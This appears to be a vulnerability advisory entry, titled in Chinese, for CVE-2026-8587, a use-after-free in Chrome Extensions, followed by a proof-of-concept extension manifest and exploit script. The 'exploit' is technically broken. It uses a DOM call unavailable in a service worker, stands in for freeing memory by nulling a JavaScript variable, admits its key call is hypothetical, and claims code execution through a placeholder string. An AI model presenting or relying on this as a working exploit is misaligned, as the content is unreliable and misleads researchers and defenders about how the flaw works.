CVE-2026-8587: Google Chrome Extensions释放后利用漏洞

// PoC for CVE-2026-8587: Use After Free in Chrome Extensions // manifest.json /* { "name": "UAF PoC", "version": "1.0", "manifest_version": 3, "background": { "service_worker": "exploit.js" }, "permissions": ["tabs"] } */ // exploit.js (Conceptual Trigger) // This script attempts to trigger the UAF in the Extensions component // by manipulating object references before garbage collection. let vulnerableObject = null; function triggerUAF() { // Step 1: Allocate/Use object in Extension context vulnerableObject = document.createElement('div'); // Simplified representation // Step 2: Trigger the free operation (specific to the vulnerable API) // Hypothetical function call that frees the object but keeps a reference chrome.tabs.query({}, function(tabs) { // Simulating the condition where the object is freed vulnerableObject = null; }); // Step 3: Use the freed object // If timing is right, this accesses freed memory if (vulnerableObject) { vulnerableObject.innerHTML = "Arbitrary Code Execution Context"; } } // Execute the trigger triggerUAF();